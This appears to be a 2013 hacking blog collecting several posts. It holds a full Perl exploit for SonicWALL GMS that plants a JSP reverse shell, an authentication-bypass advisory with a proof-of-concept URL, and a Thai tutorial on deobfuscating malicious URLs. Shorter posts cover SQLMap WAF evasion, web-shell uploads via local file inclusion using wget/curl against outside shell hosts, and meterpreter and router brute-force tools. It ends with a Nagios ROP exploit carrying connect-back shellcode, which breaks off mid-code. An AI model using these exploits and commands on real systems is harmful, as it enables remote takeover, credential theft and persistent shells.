Jan 18, 2013

SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root

#!/usr/bin/perl

##
#  Title:     SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root/SYSTEM exploit 
#  Name:      sgmsRCE.pl
#  Author:    Nikolas Sotiriu (lofi) <lofi[at]sotiriu.de>
#
#  Use it only for education or ethical pentesting! The author accepts 
#  no liability for damage caused by this tool.
#  
##


use strict;
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use LWP::Protocol::https;
use Getopt::Std;


my %args;
getopt('hlp:', \%args);

my $victim    = $args{h} || usage();
my $lip        = $args{l}; 
my $lport     = $args{p};
my $detect    = $args{d};
my $shellname = "cbs.jsp";

banner();

my $gms_path;
my $target;
my $sysshell;

my $agent = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0,},);
$agent->agent("Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0");

# Place your Proxy here if needed
#$agent->proxy(['http', 'https'], 'http://localhost:8080/');

print "[+] Checking host ...\n";
my $request = POST "$victim/appliance/applianceMainPage?skipSessionCheck=1",
Content_Type => 'application/x-www-form-urlencoded; charset=UTF-8',
Content  => [   num => "123456",
                action => "show_diagnostics",
                task => "search",
    item => "application_log",
    criteria => "*.*",
    width => "500",
        ];

my $result = $agent->request($request);

if ($result->is_success) {
        print "[+] Host looks vulnerable ...\n";
} else {
        print "[-] Error while connecting ... $result->status_line\n";
  exit(0);
}


my @lines=split("\n",$result->content);

foreach my $line (@lines) {
  if ($line =~ /OPTION VALUE=/) {
    my @a=split("\"", $line);
    if ($a[1] =~ m/logs/i) {
      my @b=split(/logs/i,$a[1]);
      $gms_path=$b[0];
    }
                if ($gms_path ne "") {
      print "[+] GMS Path: $gms_path\n";
      last;
                } else {
      next;
                }
  }
}
if ($gms_path eq "") {
  print "[-] Couldn't get the GMS path ... Maybe not vulnerable\n";
  exit(0);
}


if ($gms_path =~ m/^\//) {
  $target="UNX";
  $gms_path=$gms_path."Tomcat/webapps/appliance/";
  $sysshell="/bin/sh";
  print "[+] Target ist Unix...\n";
} else {
  $target="WIN";
  $gms_path=$gms_path."Tomcat\\webapps\\appliance\\";
  $sysshell="cmd.exe";
  print "[+] Target ist Windows...\n";
}

&_writing_shell;

if (!$detect) {
print "[+] Uploading shell ...\n";
my $request = POST "$victim/appliance/applianceMainPage?skipSessionCheck=1",
Content_Type => 'multipart/form-data',
Content   => [   action => "file_system", 
    task => "uploadFile", 
    searchFolder => "$gms_path", 
    uploadFileName => ["$shellname"]
  ];

my $result = $agent->request($request);

if ($result->is_success) {
  print "[+] Upload completed ...\n";
} else {
  print "[-] Error while connecting ... $result->status_line\n";
  exit(0);
}

unlink("$shellname");

print "[+] Spawning remote root/system shell ...\n";
my $result = $agent->get("$victim/appliance/$shellname");

if ($result->is_success) {
        print "[+] Have fun ...\n";
} else {
        print "[-] Error while connecting ... $result->status_line\n";
  exit(0);
}
}

sub _writing_shell {
  open FILE, ">", "$shellname" or die $!;
        print FILE << "EOF";
<%\@page import="java.lang.*"%>
<%\@page import="java.util.*"%>
<%\@page import="java.io.*"%>
<%\@page import="java.net.*"%>
<%
        class StreamConnector extends Thread
        {
                InputStream is;
                OutputStream os;

                StreamConnector( InputStream is, OutputStream os )
                {
                        this.is = is;
                        this.os = os;
                }
                public void run()
                {
                        BufferedReader in  = null;
                        BufferedWriter out = null;
                        try
                        {
                                in  = new BufferedReader( new InputStreamReader( this.is ) );
                                out = new BufferedWriter( new OutputStreamWriter( this.os ) );
                                char buffer[] = new char[8192];
                                int length;
                                while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
                                {
                                        out.write( buffer, 0, length );
                                        out.flush();
                                }
                        } catch( Exception e ){}
                        try
                        {
                                if( in != null )
                                        in.close();
                                if( out != null )
                                        out.close();
                        } catch( Exception e ){}
                }
        }
        try
        {
                Socket socket = new Socket( "$lip", $lport );
                Process process = Runtime.getRuntime().exec( "$sysshell" );
                ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
                ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
        } catch( Exception e ) {}
%>

EOF

close(FILE);
}

sub usage {
    print "\n";
    print " $0 - SonicWALL GMS/VIEWPOINT/Analyzer Remote Root/SYSTEM exploit\n";
    print "====================================================================\n\n";
    print "  Usage:\n";
    print "           $0 -h <http://victim> -l <yourip> -p <yourport>\n";
    print "  Notes:\n";
    print "           Start your netcat listener <nc -lp 4444>\n";
    print "           -d only checks if the Host is vulnerable\n";
    print "\n";
    print "  Author:\n";
    print "           Nikolas Sotiriu (lofi)\n";
    print "           url: www.sotiriu.de\n";
    print "           mail: lofi[at]sotiriu.de\n";
    print "\n";


    exit(1);
}

sub banner {
        print STDERR << "EOF";
--------------------------------------------------------------------------------
       SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root/SYSTEM exploit
--------------------------------------------------------------------------------

EOF
}

Source: http://packetstormsecurity.com/files/119638


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Oracle Outside In Buffer Oveflow

If you want the full detail, please go to the Source.

Secunia Research has discovered a vulnerability in Oracle Outside In Technology, which can be exploited by malicious people to compromise a vulnerable system. The vulnerability is caused due to an error in the Paradox database stream filter (vspdx.dll) when processing the field names and can be exploited to cause a heap-based buffer overflow via a specially crafted "number of fields" value in the table header. Oracle Outside In SDK version 8.3.7 (w/ patch 14153713) is affected.



Source: http://packetstormsecurity.com/files/119643

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

DELL SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass DELL SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass


-------------------------- NSOADV-2013-002 ---------------------------

SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass (/sgms/)
______________________________________________________________________
______________________________________________________________________

                               111101111
                        11111 00110 00110001111
                   111111 01 01 1 11111011111111
                11111  0 11 01 0 11 1 1  111011001
             11111111101 1 11 0110111  1    1111101111
           1001  0 1 10 11 0 10 11 1111111  1 111 111001
         111111111 0 10 1111 0 11 11 111111111 1 1101 10
        00111 0 0 11 00 0 1110 1 1011111111111 1111111 11  100
       10111111 0 01 0  1 1 111110 11 1111111111111  11110000011
       0111111110 0110 1110 1 0 11101111111111111011 11100  00
       01111 0 10 1110 1 011111 1 111111111111111111111101 01
       01110 0 10 111110 110 0 11101111111111111111101111101
      111111 11 0 1111 0 1 1 1 1 111111111111111111111101 111
      111110110 10 0111110 1 0 0 1111111111111111111111111 110
    111 11111 1  1 111 1   10011 101111111111011111111 0   1100
   111 10  110 101011110010   11111111111111111111111 11 0011100
   11 10     001100     0001      111111111111111111 10 11 11110
  11110       00100      00001     10 1  1111  101010001 11111111
  11101        0  1011     10000    00100 11100        00001101 0
  0110         111011011             0110   10001        101 11110
  1011                 1             10 101   000001        01   00
   1010 1                              11001      1 1        101  10
      110101011                          0 101                 11110
            110000011
                      111
______________________________________________________________________
______________________________________________________________________

  Title:                  SonicWALL GMS/Viewpoint/Analyzer
                          Authentication Bypass (/sgms/)
  Severity:               Critical
  CVE-ID:                 CVE-2013-1360
  CVSS Base Score:        9
   Impact:                8.5
   Exploitability:        10
   CVSS2 Vector:          AV:N/AC:L/Au:N/C:P/I:P/A:C
  Advisory ID:            NSOADV-2013-002
  Found Date:             2012-04-26
  Date Reported:          2012-12-13
  Release Date:           2013-01-17
  Author:                 Nikolas Sotiriu
  Website:                http://sotiriu.de
  Twitter:                http://twitter.com/nsoresearch
  Mail:                   nso-research at sotiriu.de
  URL:                    http://sotiriu.de/adv/NSOADV-2013-002.txt
  Vendor:                 DELL SonicWALL (http://www.sonicwall.com/)
  Affected Products:      GMS
                          Analyzer
                          UMA
                          ViewPoint
  Affected Platforms:     Windows/Linux
  Affected Versions:      GMS/Analyzer/UMA 7.0.x
                          GMS/ViewPoint/UMA 6.0.x
                          GMS/ViewPoint/UMA 5.1.x
                          GMS/ViewPoint 5.0.x
                          GMS/ViewPoint 4.1.x
  Remote Exploitable:     Yes
  Local Exploitable:      No
  Patch Status:           Vendor released a patch (See Solution)
  Discovered by:          Nikolas Sotiriu



Background:
===========

The SonicWALL® Global Management System (GMS) provides organizations,
distributed enterprises and service providers with a powerful and
intuitive solution to centrally manage and rapidly deploy SonicWALL
firewall, anti-spam, backup and recovery, and secure remote access
solutions. Flexibly deployed as software, hardware, or a virtual
appliance, SonicWALL GMS offers centralized real-time monitoring, and
comprehensive policy and compliance reporting. For enterprise customers,
SonicWALL GMS streamlines security policy management and appliance
deployment, minimizing administration overhead. Service Providers can
use GMS to simplify the security management of multiple clients and
create additional revenue opportunities. For added redundancy and
scalability, GMS can be deployed in a cluster configuration.

(Product description from Website)



Description:
============

DELL SonicWALL GMS/Analyzer/ViewPoint contains a vulnerability that
allows an unauthenticated, remote attacker to bypass the Web interface
authentication offered by the affected product.

The vulnerability is attributed to a broken session handling in the
process of password change process of the web application.
changing in the web application.

An attacker may exploit this vulnerability by sending a specially
crafted request to the SGMS Interface (/sgms/).

The attacker gains full administrative access to the interface and
full control over all managed appliances, which could lead to a full
compromisation of the organisation.



Proof of Concept :
==================

Access the following URL to login to the sgms interface:

http://host/sgms/auth?clientHash=765c5e5b571050030b63666663383064663
83761376339303932346163656262&clientHash2=03196ba18cffc80df87a7c9092
4acebb&changePassword=1&user=admin&ctlSGMSDomainId=DMN00000000000000
00000000001

If the Console is not directly shown, type any password you
want in the change password dialog twice and hit submit to login.

Maybe you need to access the following URL after this process:

http://host/sgms/auth



Solution:
=========

Install Hotfix 125076.77. (Download from www.mysonicwall.com)



Disclosure Timeline:
====================

2012-04-26: Vulnerability found
2012-12-12: Sent the notification and disclosure policy and asked
            for a PGP Key (security@sonicwall.com)
2012-12-13: Sent advisory, disclosure policy and planned disclosure
            date (2012-12-28) to vendor
2012-12-18: SonicWALL analyzed the finding and wishes to delay the
            release to the 3. calendar week 2013.
2012-12-18: Changed release date to 2013-01-17.
2012-12-20: Patch is published
2013-01-17: Release of this advisory

Source: http://packetstormsecurity.com/files/119639

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

วิธีการตรวจสอบ Malicious URL ที่ถูกดัดแปลงให้ซับซ้อนและตรวจจับยาก



            โดยปกติการแทรกลิงค์ของ Hacker จะพยายามซ่อนการใช้งาน URL จริงๆของ Hacker เองเพื่อให้สามารถตามถึงตัวได้ยาก หรือทำให้ผู้วิเคราะห์เกิดความสับสน โดยสิ่งแรกที่ Hacker มักจะทำก็คือการทำ URL แบบย่อ หรือที่เรียกว่า Shorten URL ซึ่งจะเป็นการย่อ URL ปกติทั่วไปให้กลายเป็น URL ขนาดย่อที่มีขนาดตัวอักษรไม่เกิน 15 ตัวอักษรนั่นเองเช่น
            หากใช้ http://goo.gl ย่อ http://www.google.com จะได้เป็น http://goo.gl/H7rR5
            หากใช้ http://bit.ly ย่อ http://www.google.com จะได้เป็น http://bit.ly/2V6CFi
การ Deobfuscation Shorten URL
จะเห็นว่า URL ที่ได้ออกมานั้นจะไม่ใช่เว็บไซด์จริงๆ นั่นหมายความว่าผู้ใช้งานทั่วไปไม่สามารถทราบได้เลยว่าลิงค์ที่ได้รับเป็นของเว็บไซด์ใดๆจริงๆหรือไม่ ดังนั้นสิ่งที่เราต้องทำเมื่อพบ URL ที่มีการดัดแปลงเพื่อหลบหลีบการตรวจจับ (Obfuscation) พยายามทำ URL ให้เป็นปกติ ซึ่งก็มีเว็บไซด์หลายๆเว็บเช่นกันที่เปลี่ยน URL ที่ถูก Obfuscate กลับมาเป็น URL ธรรมดาดังนี้
1.     Unshorten.It!(http://unshorten.it/)
Unshorten.It! เป็นเว็บไซด์ยอดนิยมตัวหนึ่งที่ถูกใช้ในการดูว่า URL ปกติจริงๆแล้วเป็นอย่างไร โดย Unshorten.It! จะทำการทดสอบเข้าเว็บไซด์ แล้วแสดงหน้าเว็บไซด์ของ URL ที่ด้านขวา และบอกรายละเอียดของเว็บไซด์ที่ส่วนด้านซ้าย ซึ่งในด้านซ้ายล่างก็จะมีกราฟแสดงความน่าเชื่อถือและความเสี่ยงต่อการเข้าใช้งานเว็บไซด์นั้นๆด้วยครับ

2.     LongURL.org(http://longurl.org/)
LongURL เป็นเว็บไซด์ที่ดูเรียบง่ายและโหลดเร็วกว่า Unshorten.It แต่ก็จะมีความคล้ายคลึงกันอยู่ เพราะ LongURL ก็จะแสดงผลและรายละเอียดของเว็บไซด์ที่เรากรอกเหมือนกับ Unshorten.It แต่จะไม่มีการแสดงถึงระดับความเสี่ยงและความน่าเชื่อถือของเว็บไซด์ครับ

3.     Unshort.me(http://unshort.me)
Unshort.me จะไม่มีอะไรเลยนอกจากการขยาย URL ที่ใส่มาเท่านั้น

4.     Unshorten.com(http://www.unshorten.com)
Unshorten.com จะเหมือนกับ unshort.me คือไม่มีอะไรนอกจากขยาย URL เท่านั้นครับ

การ Obfuscation และ Deobfuscation URL ด้วย URL format
            หลังจากการขยาย URL ออกมาให้เป็น URL ปกติแล้วบางครั้งเราจะพบ URL ที่มีลักษณะเป็น
·         http://www.hacker.com:8443/hacked.js
·         https://www.target.com:bank.html@hacker.com
·         http://www.bank.com:login.html@74.125.131.105
·         http://www.bank.com:login.html@1249739625/
·         http://www.bank.com:login.html@0x4a.0x7d.0x83.0x69/
·         http://www.bank.com:login.html@0112.0175.0203.0151/
ซึ่งหากคนที่ไม่มีความรู้ความเชี่ยวชาญอาจจะสับสนและไม่อาจทราบได้ว่าเว็บไซด์จริงๆนั้นคือเว็บไซด์อะไร หรือ IP อะไรกันแน่ ซึ่งหากเป็นโครงสร้าง URL format จริงๆเป็นแบบนี้
protocol://username:password@host:port/source
            ซึ่งถ้าดูจากตัวอย่างแต่ละอันสามารถแปลงออกมาได้เป็นดังนี้
1.     http://www.hacker.com:8443/hacked.js
·         protocol คือ http
·         host คือ www.hacker.com
·         port ที่ใช้ในการเชื่อมต่อกลับไปยัง www.hacker.com คือ 8443
·         source หรือ path ที่เรียกใช้คือ hacked.js
2.     https://www.target.com:bank.html@hacker.com
·         protocol คือ https
·         username คือ www.target.com
·         password คือ bank.html
·         host คือ hacker.com
·         port คือ 443(เนื่องด้วยตัวอย่างนี้ไม่มีการระบุ port เข้ามาใน URL จึงใช้ default port ของ https นั่นคือ 443 นั่นเอง)
*** การระบุ username,password ไว้อาจเป็นไปได้ว่าใช้สำหรับการทำ http basic authentication ครับ
3.     http://www.bank.com:login.html@74.125.131.105
·         protocol คือ http
·         username คือ www.bank.com
·         password คือ login.html
·         host คือ 74.125.131.105
·         port คือ 80(เนื่องด้วยตัวอย่างนี้ไม่มีการระบุ port เข้ามาใน URL จึงใช้ default port ของ http นั่นคือ 80นั่นเอง)
4.     http://www.bank.com:login.html@1249739625/
·         protocol คือ http
·         username คือ www.bank.com
·         password คือ login.html
·         host คือ 74.125.131.105(จริงๆแล้วเป็นการคำนวณมาจากค่า DWORD 1249739625 โดย
·         1249739625 = (((((74*256)+125))*256)+131)*256)+105
·         port คือ 80(เนื่องด้วยตัวอย่างนี้ไม่มีการระบุ port เข้ามาใน URL จึงใช้ default port ของ http นั่นคือ 80นั่นเอง)
5.     http://www.bank.com:login.html@0x4a.0x7d.0x83.0x69/
·         protocol คือ http
·         username คือ www.bank.com
·         password คือ login.html
·         host คือ 74.125.131.105(จริงๆแล้วเป็นการคำนวณมาจากค่า Hex(เลขฐาน16)  0x4a.0x7d.0x83.0x69 โดย
o    0x4a = 74
o    0x7d = 125
o    0x83 = 131
o    0x69 = 105
·         port คือ 80(เนื่องด้วยตัวอย่างนี้ไม่มีการระบุ port เข้ามาใน URL จึงใช้ default port ของ http นั่นคือ 80นั่นเอง)
6.     http://www.bank.com:login.html@0112.0175.0203.0151/
·         protocol คือ http
·         username คือ www.bank.com
·         password คือ login.html
·         host คือ 74.125.131.105(จริงๆแล้วเป็นการคำนวณมาจากค่า Octal(เลขฐาน8) 0112.0175.0203.0151 โดย
o    0112 = 74
o    0175 = 125
o    0203 = 131
o    0151 = 105
·         port คือ 80(เนื่องด้วยตัวอย่างนี้ไม่มีการระบุ port เข้ามาใน URL จึงใช้ default port ของ http นั่นคือ 80นั่นเอง)
จริงๆแล้วถ้าหากมีความสับสนหรือไม่แน่ใจในการแบ่งแยก URL format ก็มีเครื่องมือที่ช่วยในการแบ่งแยกหรือแยกแยะโครงสร้าง URL format ได้ นั่นคือเว็บไซด์ net.demon นั่นเอง
Net.demon(www.netdemon.net) เป็นเว็บเซอร์วิสที่ใช้ในการวิเคราะห์ URL ออกมาให้เป็นไปตาม URL format โดยจะวิเคราะห์ให้ว่าอะไรเป็น protocol, username, password, host, port

การ Obfuscation และ Deobfuscation URL ด้วย Encoding
            โดยปกติแล้วการใช้งาน encoding ภายใน URL จะใช้ก็ต่อเมื่อภาษาที่เขียนไว้ใน URL ไม่มีอยู่ใน ASCII Table ยกตัวอย่างเช่น
            หากเราเข้าเว็บไซด์ที่เป็นภาษาไทยอย่าง
·         http://www.i-secure.co.th/2013/01/drive-by-download-วิวัฒนาการแห่งการโจม/
      สิ่งที่เราจะส่งไปยังเว็บไซด์จะกลายเป็น
·         http://www.i-secure.co.th/2013/01/drive-by-download-%E0%B8%A7%E0%B8%B4%E0%B8%A7%E0%B8%B1%E0%B8%92%E0%B8%99%E0%B8%B2%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%81%E0%B8%AB%E0%B9%88%E0%B8%87%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%82%E0%B8%88%E0%B8%A1/              
เพื่อให้เว็บไซด์เข้าใจได้นั่นเองว่าจะเข้าไปในส่วนไหนของเว็บไซด์
แต่สิ่งที่ Hacker ทำคือการนำ URL encoding มาผสมกับการโจมตีเพื่อให้ตรวจจับการโจมตีนั้นๆยากมากขึ้นนั่นเอง เช่น
หาก Hacker ต้องการจะโจมตีเป็น Local File Inclusion จะโจมตีเป็น
·         http://some_site.com.br/../../../../etc/shadow
แต่เมื่อผสมกับการทำ obfuscation ด้วย URL Encoding จะโจมตีเป็น
·         http://some_site.com.br%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fshadow
            จะเห็นว่าเมื่อผ่านการ Encoding แล้วจะทำให้ลำบากต่อการอ่านของคนวิเคราะห์มาก ซึ่งหากเราต้องการแปลงค่ากลับให้เป็น URL ที่อ่านได้ สามารถใช้เว็บไซด์ที่ให้บริการทำ URL Decoding ดังนี้
1.     Yehg.net(http://yehg.net/encoding/index1.php)
เป็นเว็บไซด์ที่มีบริการหลากหลายเกี่ยวกับ Web Application Security รวมถึงการทำ URL Decoding ด้วย เป็นเว็บไซด์อีกเว็บไซด์ที่มีประโยชน์มากสำหรับการทำงานต่างๆที่เกี่ยวกับ Web Application Security ครับ
2.     URL Decoder(http://www.urldecoder.org/)
เว็บไซด์นี้จะเป็นเว็บเซอร์วิสแบบที่ใช้สำหรับการให้บริการ Decode URL โดยเฉพาะ ซึ่งค่อนข้างจะเร็วและเรียบง่ายดีครับ


สรุปการทำ Deobfuscation
            จากที่กล่าวมาทั้งหมดจะเห็นว่าการทำ obfuscation การโจมตีต่างๆของ URL นั้นทำได้หลายกรณีมากมาย แต่เครื่องมือที่ใช้ช่วยทำ deobfuscation ก็มีอยู่มากมายด้วยเช่นกัน แต่การพึ่งพาเครื่องมือก็อาจจะทำให้เราลำบากเมื่อขาดเครื่องมือเหล่านี้ไปเช่นกัน ดังนั้นสิ่งที่เราทำได้คือการเรียนรู้ลักษณะการโจมตีใหม่ๆให้อย่างถ่องแท้อยู่เสมอ เพื่อให้สามารถรับมือป้องกันและจัดการการโจมตีต่างๆที่เกิดขึ้นได้อย่างเหมาะสมอยู่ตลอดเวลาครับ



If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Develop your security skill by yourself - illSecure Challenges

illSecure Challenges

The illSecure Challenges provide a legal & safe platform for “security experts” and “hackers” to test & develop their skills in a friendly competitive environment. There are currently 12 Basic challenges and 5 crypto challenges, the current challenges are designed to be easy but as more challenges get added in the future they will get harder and more complex.
The aim of the basic challenge is to bypass the login via obtaining the password, whereas the crypto challenges require you to crack/decrypt the encrypted strings & hashes provides.
All challenges are worth 10 points unless stated otherwise. More challenges will be added in the future. If you want to contribute a challenge that you have written feel free to do so via the PM system on the forum.

Source: http://illsecure.com/


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

View HTTP Request and Response Header Without Touching the web.

You can use http://web-sniffer.net/ to view HTTP Request and Response Header without touching the web by yourself.

Source: http://web-sniffer.net/



If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Verification Email With mailtester.com

If you want to check that your sender email is invalid or not, try it


Source: http://mailtester.com/ 

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Silent Phone - global encrypted video and voice for your Android devices

Silent Phone - global encrypted video and voice for your Android devices by Silent Circle. Silent Phone is just one of the four encrypted tools included in your subscription - Silent Text, Silent Mail, Silent Eyes and Silent Phone. Are you ready to start communicating securely?
Subscribe now at SilentCircle.com and receive a free additional 30-day trial for a family member, friend, or customer. You’re going to love it! 

Source: https://play.google.com/store/apps/details?id=com.silentcircle.silentphone


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Jan 17, 2013

Howto: SQLMap Bypass Web Application Firewall

You can use tamper script with SQLMap to evade WAF.Tamper script will change some string to another pattern.

Example
./sqlmap.py -u "http://www.target.com/vul.php?id=1"  -v 3 - dbms "MySQL" - U-p id technique - batch - tamper "space2morehash.py" 

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Jan 16, 2013

Example Report By OffensiveSecurity.com

 This penetration testing report from offensivesecurity.com is really great. And you will find out what you should write in your report.

http://dl.dropbox.com/u/2330423/penetration-testing-sample-report.pdf

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Jan 14, 2013

Wifi Unlocker - Android Application For Brute Forcing Default Configuration Of Router

Wifi Unlocker its based on the great Work of Rui Araújo, this app its intended to check sucurity bugs only, this should not be used in other way. This app will try get DEFAULT passwords from vulnerable modems, sometimes we can get false positives or even lack of vulnerable wifi signals. This is not problem of the app maybe in your area its not working, drop me an email to try review your modems if you can help me send me an email as well, if you had issues with dictionary use this http://wifi-unlocker.googlecode.com/svn/trunk/dic/wifiDic.dic


Source: https://play.google.com/store/apps/details?id=com.anontechs.wifiunlocker 

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

The Ultimate Meterpreter Executable

What is ultimet?

  • ultimet is a flexible “meterpreter” exe that takes LPORT, LHOST, TRANSPORT and many other options as command line arguments.
  • It supports multiple options to include the “stage” with the exe, turning it into a single stage “inline” meterpreter.
  • It is NOT a payload “i.e. you can’t use it as a shellcode for an exploit”, it’s a stand-alone exe.
Download Link: http://eldeeb.net/ultimet.zip
Source: http://eldeeb.net/wrdprs/?page_id=156




If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Pwning Through HTTP Headers Manipulation Scenarios

If you want full detail and source code of protection upload png file, please visit the Source.

1. Try to change the name of the file that we can upload as “pwn.php.png or .php”.
On this payload we had define it in php as “.png” but webserver known it as “.php”.



2. our file media type that must be change as “image/png”
 

3. If not success, try to change <?php to <?

Source: http://pentesterlab.ir/blog/2013/01/pwning-through-http-headers-manipulation-scenarios-p1/ 
 
 

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Upload Shell Via Local File Inclusion

1. Identify the LFI vulnerability of website with /etc/passwd
 
2. If you pass #1, try to change /etc/passwd to /proc/self/environ

3. Add the  <?phpinfo();?> in the User-Agent field with Tamper Data Plugin.

4. If it success, you can try another command like <?system('id');?>, <?system('uname -a');?>

5 Install shell with <?system('wget http://www.sh3ll.org/c99.txt -O shell.php');?>  
or 
 <?system('curl -o shell.php http://www.sh3ll.org/c99.txt');?> 
or
<?php $file=fopen("shell.php","w+"); $shell = fopen("http://www.c99shell.gen.tr/r57.txt","r"); while(!feof($shell)) { $shellfile .=fgets($shell);} fwrite($file,$shellfile); fclose($file);?>

6. Visit the site with www.target.com/shell.php








If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Nagios history.cgi Remote Command Execution

#!/usr/bin/python
#
# CVE-2012-6096 - Nagios history.cgi Remote Command Execution
# ===========================================================
# Another year, another reincarnation of classic and trivial
# bugs to exploit. This time we attack Nagios.. or more
# specifically, one of its CGI scripts. [1]
#
# The Nagios code is an amazing monster. It reminds me a
# lot of some of my early experiments in C, back when I
# still had no clue what I was doing. (Ok, fair enough,
# I still don't, heheh.)
#
# Ok, I'll come clean. This exploit doesn't exactly
# defeat FORTIFY. This approach is likely to work just FINE
# on other crippled distro's though, think of stuff like
# ArchLinux, Slackware, and all those Gentoo kids twiddling
# their CFLAGS. [2] (Oh and hey, BSD and stuff!)
#
# I do some very stupid shit(tm) here that might make an
# exploit coder or two cringe. My sincere apologies for that.
#
# Cold beer goes out to my friends who are still practicing
# this dying but interesting type of art:
#
#   * brainsmoke * masc * iZsh * skier_ * steve *
#
# -- blasty <blasty@fail0verflow.com> / 2013-01-08
#
# References:
#
# P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n!
# Next time you rebrand an exploit at least show some diligence and
# add some additional targets or improvements, so we can all profit!
#
# P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy!
#
 
import os, sys, socket, struct, urllib, threading, SocketServer, time
from base64 import b64encode
 
SocketServer.TCPServer.allow_reuse_address = True
 
targets = [
{
"name"       : "Debian (nagios3_3.0.6-4~lenny2_i386.deb)",
"smash_len"  : 0xc37,
"unescape"   : 0x0804b620,
"popret"     : 0x08048fe4,
"hostbuf"    : 0x080727a0,
"system_plt" : 0x08048c7c
}
]
 
def u32h(v):
return struct.pack("<L", v).encode('hex')
 
def u32(v, hex = False):
return struct.pack("<L", v)
 
# Tiny ELF stub based on:
# http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
def make_elf(sc):
elf_head = \
"7f454c46010101000000000000000000" + \
"02000300010000005480040834000000" + \
"00000000000000003400200001000000" + \
"00000000010000000000000000800408" + \
"00800408" + u32h(0x54+len(sc))*2  + \
"0500000000100000"
 
return elf_head.decode("hex") + sc
 
# interactive connectback listener
class connectback_shell(SocketServer.BaseRequestHandler):
def handle(self):
print "\n[!!] K4P0W!@# -> shell from %s" % self.client_address[0]
print "[**] This shell is powered by insane amounts of illegal substances"
 
s = self.request
 
import termios, tty, select, os
old_settings = termios.tcgetattr(0)
 
try:
tty.setcbreak(0)
c = True
 
os.write(s.fileno(), "id\nuname -a\n")
 
while c:
for i in select.select([0, s.fileno()], [], [], 0)[0]:
c = os.read(i, 1024)
if c:
if i == 0:
os.write(1, c)
 
os.write(s.fileno() if i == 0 else 1, c)
except KeyboardInterrupt: pass
finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
 
return
 
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
pass
 
if len(sys.argv) != 5:
print "\n  >> Nagios 3.x CGI remote code execution by <blasty@fail0verflow.com>"
print "  >> \"Jetzt geht's Nagi-los!\"\n"
print "  usage: %s <base_uri> <myip> <myport> <target>\n" % (sys.argv[0])
print "  targets:"
 
i = 0
 
for target in targets:
print " %02d) %s" % (i, target['name'])
i = i+1
 
print ""
sys.exit(-1)
 
target_no = int(sys.argv[4])
 
if target_no < 0 or target_no > len(targets):
print "Invalid target specified"
sys.exit(-1)
 
target = targets[ int(sys.argv[4]) ]
 
# comment this shit if you want to setup your own listener
server = ThreadedTCPServer((sys.argv[2], int(sys.argv[3])), connectback_shell)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
 
# shellcode to be executed
# vanilla x86/linux connectback written by a dutch gentleman
# close to a decade ago.
cback = \
"31c031db31c951b10651b10151b10251" + \
"89e1b301b066cd8089c231c031c95151" + \
"68badc0ded6668b0efb102665189e7b3" + \
"1053575289e1b303b066cd8031c939c1" + \
"740631c0b001cd8031c0b03f89d3cd80" + \
"31c0b03f89d3b101cd8031c0b03f89d3" + \
"b102cd8031c031d250686e2f7368682f" + \
"2f626989e3505389e1b00bcd8031c0b0" + \
"01cd80"
 
cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex"))
cback = cback.replace("b0ef", struct.pack(">H", int(sys.argv[3])).encode("hex"))
 
# Eww.. so there's some characters that dont survive the trip..
# yes, even with the unescape() call in our return-chain..
# initially I was going to use some /dev/tcp based connectback..
# but /dev/tcp isn't available/accesible everywhere, so instead
# we drop an ELF into /tmp and execute that. The '>' characters
# also doesn't survive the trip so we work around this by using
# the tee(1) utility.
# If your target has a /tmp that is mounted with noexec flag,
# is severely firewalled or guarded by trained (watch)dogs..
# you might want to reconsider this approach!
cmd  = \
"rm -rf /tmp/x;" + \
"echo " + b64encode(make_elf(cback.decode('hex'))) + "|" + \
"base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;"
 
# Spaces (0x20) are also a problem, they always ends up as '+' :-(
# so apply some olde trick and rely on $IFS for argv separation
cmd = cmd.replace(" ", "${IFS}")
 
# Basic return-2-whatever/ROP chain.
# We return into cgi_input_unescape() to get rid of
# URL escaping in a static buffer we control, and then
# we return into system@plt for the moneyshot.
#
# Ergo sum:
# There's no memoryleak or whatever needed to leak libc
# base and bypass ASLR.. This entire Nagios PoS is stringed
# together by system() calls, so pretty much every single one
# of their little silly binaries comes with a PLT entry for
# system(), huzzah!
rop = [
u32(target['unescape']),
u32(target['popret']),
u32(target['hostbuf']),
u32(target['system_plt']),
u32(0xdeafbabe),
u32(target['hostbuf'])
]
 
# Yes.. urllib, so it supports HTTPS, basic-auth and whatnot
# out of the box. Building HTTP requests from scratch is so 90ies..
params = urllib.urlencode({
